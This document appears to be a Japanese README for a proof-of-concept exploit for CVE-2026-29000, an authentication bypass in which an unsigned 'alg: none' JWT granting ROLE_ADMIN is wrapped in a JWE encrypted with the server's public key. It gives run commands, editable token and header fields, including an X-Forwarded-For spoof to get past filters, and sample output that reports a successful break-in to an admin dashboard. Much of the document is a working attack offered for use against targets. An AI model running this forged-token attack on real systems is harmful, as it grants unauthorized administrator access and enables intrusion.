
CVE-2026-29000 の PoC
概念実証(PoC)スクリプトで、JSON Web Token(JWT)とJSON Web Encryption(JWE)を使用した認証バイパスの脆弱性を実証します。このツールは、有効なJWE構造の中にラップされた未検証のJWT(alg: none)を受け入れることにより、トークンアルゴリズムを不適切に検証する環境を悪用します。
この攻撃チェーンは、一般的な暗号実装の欠陥を利用します。
jwks(JSON Web Key Set)エンドポイントに接続し、サーバーの公開RSA鍵をダウンロードします。ROLE_ADMIN 権限を付与する偽の未検証JWTペイロードを作成します。アルゴリズムヘッダーを意図的に "alg": "none" に設定します。Authorization: Bearer ヘッダーを介して、ターゲットの保護されたダッシュボードに送信されます。サーバーがJWEを復号し、署名を検証せずに内部のJWTを盲目的に信頼する場合、アクセスが許可されます。スクリプトを実行する前に、Python 3と必要な依存関係がインストールされていることを確認してください。
pip install requests jwcrypto
スクリプトには2つの引数が必要です: テスト対象の保護されたダッシュボードのURLと、公開鍵がホストされているURLです。
python3 exploit.py <TARGET_URL_OF_PROTECTED_ENDPOINT> <JWKS_ENDPOINT_URL>
ターゲットに応じて、特定のフィルタをバイパスするためにトークン構造やHTTPリクエストを調整する必要がある場合があります。
ターゲットサーバーがJWT自体に特定のフィールド(typヘッダーやペイロード内のカスタムユーザーIDなど)を期待する場合は、簡単に追加できます。
exploit.pyを開き、次のセクションを見つけてください:
token_header_information = {
"alg": "none"
}
token_user_information = {
"sub": "admin",
"role": "ROLE_ADMIN",
"iss": "principal-platform",
"iat": current_time_in_seconds,
"exp": expiration_time_in_seconds
}
任意のフィールドをカンマ区切りで追加できます。たとえば、JWTヘッダーに typ(タイプ)と kid(キーID)を追加し、ペイロードにカスタムメールを追加するには:
token_header_information = {
"alg": "none",
"typ": "JWT",
"kid": "my-custom-key-id"
}
token_user_information = {
"sub": "admin",
"email": "[email protected]",
"role": "ROLE_ADMIN",
"iss": "principal-platform",
"iat": current_time_in_seconds,
"exp": expiration_time_in_seconds
}
ターゲットが特定のネットワークヘッダー(カスタムUser-Agent、X-Forwarded-Forなどのバイパスヘッダー、APIキーなど)を必要とする場合は、スクリプトの下部にあるネットワークリクエストを見つけてください:
custom_authorization_header = {
"Authorization": "Bearer " + final_forged_token
}
次のように追加のネットワークヘッダーを追加します:
custom_authorization_header = {
"Authorization": "Bearer " + final_forged_token,
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
"X-Forwarded-For": "127.0.0.1",
"Accept": "application/json"
}
注: 最初の公開鍵ダウンロード時にもこれらのヘッダーを送信する必要がある場合は、スクリプトの先頭にある requests.get() 呼び出しに同じ辞書を渡すことができます。
成功すると、スクリプトは偽造トークンと、制限されたエンドポイントから解析されたレスポンスを出力し、バイパスを証明します。
Starting process...
Connecting to download public keys from: https://target-site.com/api/auth/jwks
Success! Downloaded the key with ID: 12345-abcde
Creating a fake administrator identity card...
Encrypting our fake identity using the server's public key...
Successfully created the encrypted master token!
Here is your forged token:
eyJhbGciOiJSU0EtT0FFUC...
Attempting to break into the dashboard...
Sending our forged token to: https://target-site.com/api/dashboard
SUCCESS! We bypassed the security.
The server thinks we are:
Username: admin
Account Type: ROLE_ADMIN